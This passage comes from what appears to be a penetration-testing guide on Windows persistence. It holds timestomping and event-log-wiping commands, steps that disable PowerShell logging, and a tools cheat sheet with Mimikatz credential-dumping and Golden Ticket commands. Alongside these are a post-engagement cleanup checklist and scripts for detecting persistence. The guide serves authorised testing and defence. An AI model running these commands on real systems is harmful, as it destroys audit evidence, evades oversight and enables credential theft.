$target.LastAccessTime  = $ref.LastAccessTime

# ─── Via cmd ───
# (Timestomp tool from Metasploit/custom)
.\timestomp.exe C:\Windows\System32\payload.exe -m "01/01/2020 09:00:00"
.\timestomp.exe C:\Windows\System32\payload.exe -c "01/01/2020 09:00:00"
.\timestomp.exe C:\Windows\System32\payload.exe -a "01/01/2020 09:00:00"

20.3 Clearing Logs After Installation

:: ─── Clear Windows Event Logs ───
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
wevtutil cl "Microsoft-Windows-TaskScheduler/Operational"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-WMI-Activity/Operational"

:: ─── Clear PowerShell history ───
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
Clear-History

:: ─── Disable PowerShell script block logging (before installing) ───
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
    -Name "EnableScriptBlockLogging" -Value 0

:: ─── Using Invoke-EventLogBypass (PowerSploit) to disable logging temporarily ───

20.4 Cleanup Checklist (Post-Engagement)

POST-ENGAGEMENT CLEANUP:
────────────────────────────────────────────────────────────────────
[ ] Remove all registry run keys added
[ ] Delete all scheduled tasks created
[ ] Remove all services created
[ ] Remove all DLLs dropped
[ ] Remove all payloads from disk
[ ] Delete backdoor user accounts
[ ] Remove SSH authorized keys added
[ ] Remove WMI event subscriptions
[ ] Remove COM object registrations in HKCU
[ ] Restore modified Winlogon keys to defaults
[ ] Restore accessibility binaries if replaced (sethc.exe etc.)
[ ] Remove startup folder shortcuts/binaries
[ ] Restore any modified service binary paths
[ ] Remove AppInit DLL registry entries
[ ] Remove Print Monitor DLL registrations
[ ] Remove LSA package DLL entries
[ ] Clear event logs (with client permission)
[ ] Remove any files in System32 dropped during the engagement
[ ] Revoke any AD persistence (DCSync ACEs, SID History, AdminSDHolder ACEs)
[ ] Invalidate Golden/Silver Tickets by rotating krbtgt twice (on authorized engagements)

21. Enumeration & Detection of Persistence Mechanisms

21.1 Automated Persistence Enumeration Tools

# ─── Autoruns (Sysinternals) — THE best persistence enumeration tool ───
.\Autoruns64.exe          # GUI — shows everything across all categories
.\AutorunsC64.exe -a *    # Command-line — all autoruns
.\AutorunsC64.exe -a * -o autoruns.txt   # Export to text
.\AutorunsC64.exe -a * | Where-Object { $_ -match "red" }  # Filter suspicious

# Autoruns categories:
#   Logon → Run keys, startup folders, Winlogon
#   Services → Windows services
#   Scheduled Tasks → All scheduled tasks
#   Drivers → Kernel drivers
#   Print Monitors → Print monitor DLLs
#   LSA Providers → LSA auth packages
#   AppInit → AppInit DLLs
#   Boot Execute → BootExecute key
#   Browser Extensions → IE/Chrome/Firefox add-ons
#   Office Add-ins → COM add-ins for Office

# ─── Sigcheck — verify binary signatures ───
.\sigcheck64.exe -s C:\Windows\System32\*.exe | findstr /i "not"
.\sigcheck64.exe -u C:\Windows\System32\  # unsigned binaries only

# ─── WinPEAS — checks persistence as part of full audit ───
.\winPEASx64.exe
# Look for: "Users AutoRun" section, "Windows Services" section

21.2 Manual Registry Enumeration

# ─── Check all run keys ───
$runKeys = @(
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
)
foreach ($key in $runKeys) {
    if (Test-Path $key) {
        Write-Host "[*] $key"
        Get-ItemProperty $key | Select-Object * -ExcludeProperty PS* | Format-List
    }
}

# ─── Check Winlogon keys ───
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
    Select-Object Userinit, Shell | Format-List

# ─── Check IFEO ───
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" |
    ForEach-Object {
        $debugger = (Get-ItemProperty $_.PSPath -ErrorAction SilentlyContinue).Debugger
        if ($debugger) { Write-Host "$($_.PSChildName) → $debugger" }
    }

# ─── Check AppInit DLLs ───
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" |
    Select-Object AppInit_DLLs, LoadAppInit_DLLs | Format-List

# ─── Check LSA packages ───
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" |
    Select-Object "Notification Packages", "Security Packages" | Format-List

21.3 Scheduled Task Enumeration

# ─── List all non-Microsoft tasks ───
Get-ScheduledTask | Where-Object {
    $_.TaskPath -notlike "\Microsoft\*"
} | Select-Object TaskName, TaskPath, State |
    Sort-Object TaskPath | Format-Table -AutoSize

# ─── Get full details of a suspicious task ───
Get-ScheduledTask -TaskName "SuspiciousTask" |
    Get-ScheduledTaskInfo

# ─── Export all task XML for inspection ───
Get-ScheduledTask | Export-ScheduledTask | Out-File -FilePath C:\Temp\all_tasks.xml

# ─── Via CMD ───
schtasks /query /fo LIST /v > C:\Temp\schtasks_full.txt

21.4 Service Enumeration

# ─── List all non-standard services (path not in System32 or Program Files) ───
Get-WmiObject Win32_Service | Where-Object {
    $_.PathName -notlike "C:\Windows\*" -and
    $_.PathName -notlike '"C:\Windows\*' -and
    $_.PathName -notlike "C:\Program Files*" -and
    $_.PathName -notlike '"C:\Program Files*'
} | Select-Object Name, DisplayName, PathName, StartMode, State | Format-List

# ─── Check service binary signatures ───
Get-WmiObject Win32_Service | Where-Object { $_.State -eq "Running" } |
    ForEach-Object {
        $path = ($_.PathName -replace '"','') -split ' ' | Select-Object -First 1
        if (Test-Path $path) {
            $sig = Get-AuthenticodeSignature $path -ErrorAction SilentlyContinue
            if ($sig.Status -ne "Valid") {
                [PSCustomObject]@{ Name=$_.Name; Path=$path; Sig=$sig.Status }
            }
        }
    }

# ─── Via sc.exe ───
sc query type= all state= all | findstr /i "service_name\|binary"

21.5 WMI Subscription Enumeration

# ─── Enumerate WMI persistence ───
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
    Select-Object Name, Query | Format-Table -AutoSize

Get-WMIObject -Namespace root\subscription -Class __EventConsumer |
    Select-Object Name, CommandLineTemplate, ScriptText | Format-List

Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
    Select-Object Filter, Consumer | Format-List

# ─── Quick check — any non-standard subscriptions? ───
@("__EventFilter","CommandLineEventConsumer","ActiveScriptEventConsumer","__FilterToConsumerBinding") |
    ForEach-Object {
        $count = (Get-WMIObject -Namespace root\subscription -Class $_ 2>$null).Count
        Write-Host "$_ : $count"
    }

22. Tools Cheat Sheet

TOOL                PURPOSE                                         USAGE
────────────────────────────────────────────────────────────────────────────────────────

Autoruns            Enumerate ALL persistence mechanisms             GUI / CLI (AutorunsC64.exe)
                    (most comprehensive single tool for detection)

Seatbelt            Security audit / persistence checks               .\Seatbelt.exe RegistryAutoRuns
                                                                       .\Seatbelt.exe ProcessCreationEvents
                                                                       .\Seatbelt.exe -group=all

PowerUp             Service/DLL hijacking opportunities               Invoke-AllChecks

Mimikatz            Credential dumping, ticket forging,               privilege::debug
                    Skeleton Key, SID injection                        sekurlsa::logonpasswords
                                                                       kerberos::golden (Golden Ticket)
                                                                       misc::skeleton

Rubeus              Kerberos attacks (tickets, Golden/Silver)         .\Rubeus.exe golden
                                                                       .\Rubeus.exe silver
                                                                       .\Rubeus.exe ptt

Impacket            Remote credential/secret dumping, DCSync          python3 secretsdump.py
                                                                       python3 dacledit.py

PowerView           AD enumeration, ACL manipulation                  Add-DomainObjectAcl
                                                                       Get-DomainObjectAcl

SharpPersist        Automated persistence installation                .\SharpPersist.exe -t schtask
                    (services, tasks, run keys, etc.)                 .\SharpPersist.exe -t reg
                                                                       .\SharpPersist.exe -t wmi

PowerLurk           WMI persistence framework                         Register-MaliciousWmiEvent

SharPersist         .NET-based persistence toolkit                    Multiple persistence methods

LaZagne             Credential harvesting (all credential stores)     .\LaZagne.exe all

winPEAS             Full system audit (includes persistence checks)   .\winPEASx64.exe

PsExec (Sysinternals) Remote service/command execution               .\PsExec.exe \\target cmd.exe

NSSM                Wrap any executable as a Windows service          nssm.exe install ServiceName exe

Sigcheck            Verify binary code signatures                     .\sigcheck64.exe -u C:\Windows\System32\

23. Quick Reference Table

Technique Privilege Required Survives Reboot Survives User Logout Detection Risk Stealth Level
HKLM Run Key Admin Yes Yes High Low
HKCU Run Key User Yes No High Low
Winlogon Userinit Admin Yes Yes Medium Medium
IFEO Debugger Admin Yes Yes Medium Medium
SilentProcessExit Admin Yes Yes Low High
Service (new) Admin Yes Yes Medium Medium
Service (hijack) Admin/Write Yes Yes Low High
Scheduled Task Admin/User Yes Yes/No Medium Medium
WMI Subscription Admin Yes Yes Low High
Startup Folder Admin/User Yes No High Low
COM Hijacking User (HKCU) Yes No Low High
DLL Hijacking Write to path Yes Yes (if svc) Low High
AppInit DLL Admin Yes Yes Medium Medium
LSA Package Admin Yes Yes Low High
Print Monitor DLL Admin Yes Yes Low High
Accessibility IFEO Admin Yes Yes Low High
Backdoor Account Admin Yes Yes High (if audited) Low
SSH Authorized Keys Admin Yes Yes Medium Medium
PowerShell Profile User Yes No Low Medium
WMI Fileless (ActiveScript) Admin Yes Yes Low Very High
Golden Ticket (AD) Domain Admin N/A (AD-level) N/A Very Low Very High
Silver Ticket (AD) Service Account Hash N/A (AD-level) N/A Very Low Very High
DCSync ACL Domain Admin Yes (in AD) Yes (in AD) Low High
AdminSDHolder Domain Admin Yes (in AD) Yes (in AD) Low High
DSRM Account Admin on DC Yes Yes Low High
Skeleton Key SYSTEM on DC No (memory only) No Medium Medium
BootExecute Key SYSTEM Yes Yes Low Very High
MBR/UEFI Implant SYSTEM/Physical Yes Yes Very Low Very High

← Windows top ↑